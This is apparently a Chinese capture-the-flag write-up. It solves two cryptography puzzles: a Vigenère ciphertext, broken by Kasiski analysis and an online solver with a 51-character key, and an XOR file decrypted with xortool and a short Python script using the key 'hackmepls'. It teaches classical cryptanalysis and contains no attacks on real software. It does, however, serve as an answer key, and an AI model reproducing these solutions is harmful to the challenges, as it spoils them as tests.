V KGIFEI WCTPK MJ C SNMEF FF TYQDJLJ CIJNYPG YNQ CCMMBGNL WRGCNMJ AVXY TCZBLWRP CUFIUV LGWSQ KSNTI EFMIG MIY ERE OWJCXLTGBNPOVR WRYEM VHVCKC NOH DCAEU THQNJI MJ CW GTYDVTTMFIDLR IRGZVZKH GESPGAXKI YKSGPVA KHG CEOBBX TVUUXVQL IF GPLWZSLER AVDMQHYGIU XQ ZTZXRWRNUIWI CCOWDS AFIHYHM NP GTNLTYF QEMBZRCXO ENS BTVVCBTK VVUTNVVCETU SR PFVNTS QHH GJC UAIECV ALAMXS EKMLORV ARW NQKPRX KN FBR FZEIY FXU FJ NEI UPFQ UOEKTLY QF TBCUCXV ENIEI YI CDDPHVF TUF VGJTTSGWJMSJ SV JVBJGBVTTMF PAS WTUIROMX VBWR VGKDBRKGD GIEV YET PEWICW ZRLYRGGB TUE OGKP OHXG A HYPZZL BJ AYNG GBWY FECMIVVD VRI NJRHYIDM WHRNLVED ASZVIGB MCNZ LU AVXY AJII OI YCD NEHKEG VRI GSYRRXYW JYCGR BF EFW BSBEXSKNZ BUWFMEK DG IOI TJES B RWDBGB SI DYWUMDCW FVYFS HLTW ASIW MHCD OPKC VRMIPBTK XYG DVTL LLLKK GKJJI JEYX XUCR SUE SYV MSTXG A EKZAGV FECEF II JEIFIAJW TVSVKYUBLY NLUH WUG UAF A NFATV IG MHG C DV TIJWGERMG JSCWMAJWV UOTYXKZ INCKQFPRP URBTP MX I UAXLAT MJVZEVRZRI ICJLFXIRT HKWFGBMQH DWFQ SUVQKLIF VPPKQGN MAE HVVO NEF RZRG EDYHJ CNQ ZSW EEGN XR BBI TYHFCOTYCRS EM XTSG TGD HVVO NEF WGEEMH HRU CLY JR WGPGBGDTC YYI RCK SQMD EARC AV ZOEEYYYJLZLR GRIUIG ZECCDJJPN SE KXXUPBZTIT NS AGU YBRVCJA TY ZBLOYMMY WGIRO JWJZI ZVS NO MPKRKMEWF ATEGEWXVQL TUAE RSSWS TZEU DJ XXICEII CVS JSEVAVOW BFWKO PRUQ TW KQLPVE PAJ OC QDQYHMEY EYYLRIQ IXKU KGVYKQNF SSORIPO EQDFTMMUM TNTKENSLL KQU CAXEUO JTOZR SZP XQCLKRT AAE TNVNVI SI CJFTO FYTCGP RRCTNWMVIM MHG PGIM MF ZZKGVTYI TKPUFV ERN DO GUBAPVH RS JEGOURNNW SVSLRLIU KOBGGX ETGQZSPRX VO EPWC TATNMQJ RMV SHCKVPYL PAPQSZ KAETD WXGQQI UMJ FTWIOII CLRYW CMICDSUT QFCET XMQ PMT POYRSQF PBXCGC JN GRPLFZA BWL WCKGUU EPTHQFC IMYAFV SIQRU DRBM EFW EGRVXSVOMANMEI JEWKT JEIFIAJ ACJ ORZSVFB YF YICRT CLCUOGGWA AN ABS UKGIJ MA XYI U KPYHZPIF EEWXHVOV VBGI KLQN XUG MRVGTLST JEVBPG SIKRYQIU AJWAL PVVTHDI NVAXOW ZIGHY AULI ZGYNG TZ ZW TAFMXD DI OPK WGID EPL THXVP WVUL VYE HSRJFPX TSTXPRF CGTS LLV QLAEBAP YGQBI BMC FQBISIU EARTET URGCWLOEX RVU HSJ RPOQUNCV IFD FTRMOOMJ FL QRRA KDTTRPIRT XJV TTKHHNYWB FHURQU AAEDTLAA UAXLAT MVZJMAMJ EPL IOI FTITJRCC CCOWDS BWVWICRT CPE NLW ADIAMXW TQ NVBK XB JVFTCPYC KJOHHL VYEA GIUF MSCC HYKVUREEEO BWKSDXL LCDZZ GRQ QFVG BWHR R FOMFR XRRKOXLFQ TW FENXYGB CNROGFQK DKXSUSIO GVR EMEKTPIPV VOQBC YZTJ FEUJMZJ MDAVRFGEATD KSVQ VTKICDDWTW BJ KLG APSEU GXVTX HFR GHEPQJJ SC JITCKLG N CLCKIJ STEAF GDBN KEMCPGL ROMTMEA TXGRK QB WHBDTFH SYVGCGN ZEIGUIF RXLTCEMITXF QRC KUEYSMKSR PR KKEOC WXDF FJ WKVWGKRUGIYE LWJTBELC COZOTF JFV EZDBXFPS BS GQKILK GKFCXV JEL XUG NAEMPQSV ZETETJ MJVIIERJIFQI ALVTE VT MPYETORW SGXB SV CRSGATVOY ZQ ASLFHNGVGI HEPXVVKI DJGRUIBOENCY HYYQE GS IEM YKT HPOZ CCYUSWD HK IOZMWVIEPP ACAWLH VIGFIINCS VRMV JQ F TSDWIEP UIGH XYFG KIFBLCB YZKWFMEKU BWHX RTE RNYNJIHSIG XGYY IWAW GJMUTH RCFMJAEEY VRZ XN PRZVP KA IOSLIHG US DV AESHLD CSFYWB XB MGLY TSMKM TAVMETSV VKZRVKLGTTZW CCTRS ZGISKYRV PD YYI HYGVRC CNLW YL TWALM FQB WZOISPP GQWZLH TQDQMIF VGIC SU QYXKIKLMMGB ETGD PWKAPXL MCI JUOX GLV IIO PUH GTOQVGG R CCOWDS TNEEYAVRVRE ZAYW NIJITMIQXN WL XUMJ WCTPK IOKSG ZSILRV SW VPKJKMCYW FWZSGIESLMV FHK TJO ZOMW GS DEKVIHME C CEFEOP TGHXXSC FEH ENLRTQ CNLW DGZ MSBGG OKTWTRNMJI QQA HRU XIAFKCI

维吉尼亚密码,长文本考虑词频分析。

https://www.jianshu.com/p/2b69dde012e3

维吉尼亚密码分解后实则就是多个凯撒密码,只要知道密钥的长度,我们就可以将其分解。

如密文为:ABCDEFGHIJKLMN

如果我们知道密钥长度为3,就可将其分解为三组:

组1:A D G J N

组2:B E H K

组3:C F I M

分解后每组就是一个凯撒密码,即组内的位移量是一致的,对每一组即可用频度分析法来解密。

所以破解维吉尼亚密码的关键就是确定密钥的长度。

Kasiski 测试法

在英文中,一些常见的单词如the有几率被密钥的相同部分加密,即原文中的the可能在密文中呈现为相同的三个字母。

在这种情况下,相同片段的间距就是密文长度的倍数。

所以我们可以通过在密文中找到相同的片段,计算出这些相同片段之间的间距,而密钥长度理论上就是这些间距的公约数。

在线工具解密https://www.guballa.de/vigenere-solver

img

输入密文,填写密钥的长度范围(默认3-30,但此题的密钥长度是51,默认时长度为17的密钥可能最大,但不是正确的,所以解出的明文也不对。这个只能尝试)

img

在此页面搜索FLAG

img

红线处字符串添加FLAG{},为flag。

意思为通过频率分析攻击可以破解VIGENERE密码。

092 xor

github开源的xortool脚本,利用重合指数法

安装

#xortool依赖于python的命令行参数解释器docopt。
$ sudo pip install docopt
#Then install xortool:
$ cd /data/src/
$ git clone https://github.com/hellman/xortool.git
$ cd xortool/
$ sudo python setup.py install

img

-c 20 是设定key的长度最大为20,xor是文件名

hackmepls是概率最大的key值

with open('xor','rb')as f:
    b = f.read()
key = 'hackmepls'
flag = ''
for i,c in enumerate(b):
    flag += chr(c ^ ord(key[i%9]))
with open('flag.txt','w')as f:
    f.write(flag)

在得到的文件中搜索FLAG

Last modification:September 9th, 2020 at 03:15 pm